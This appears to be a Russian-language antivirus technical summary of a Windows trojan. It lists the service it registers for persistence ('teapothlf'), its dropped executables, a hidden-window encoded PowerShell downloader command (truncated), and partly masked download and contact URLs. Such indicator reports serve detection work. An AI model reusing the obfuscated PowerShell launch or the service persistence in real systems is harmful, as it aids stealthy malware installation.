Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\teapothlf] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\teapothlf] 'ImagePath' = '"%WINDIR%\SysWOW64\teapothlf.exe"'
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco JABZAG0AdQB3AHcAaABuAGMAPQAnAEgAeABkAHQAZgB6AGcAYwB5ACcAOwAkAE0AbgBpAG8AcwB1AHQAdAB5AGcAYgBmACAAPQAgACcAMQA4ADUAJwA7ACQAQQBwAHUAZAByAG4AbQBjAGYAPQAnAFIAegBoAG4AdQBlAG0AZQBqAHoAYwAnADsAJAB...
- %HOMEPATH%\185.exe
- %HOMEPATH%\185.exe в %WINDIR%\syswow64\teapothlf.exe
- http://ro####ebsite.com/wp-admin/kp2t8/
- http://17#.##0.31.177:8080/merge/badge/ringin/ via 17#.#30.31.177
- DNS ASK ro####ebsite.com
- '%HOMEPATH%\185.exe'
- '%WINDIR%\syswow64\teapothlf.exe'
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco JABZAG0AdQB3AHcAaABuAGMAPQAnAEgAeABkAHQAZgB6AGcAYwB5ACcAOwAkAE0AbgBpAG8AcwB1AHQAdAB5AGcAYgBmACAAPQAgACcAMQA4ADUAJwA7ACQAQQBwAHUAZAByAG4AbQBjAGYAPQAnAFIAegBoAG4AdQBlAG0AZQBqAHoAYwAnADsAJAB...' (со скрытым окном)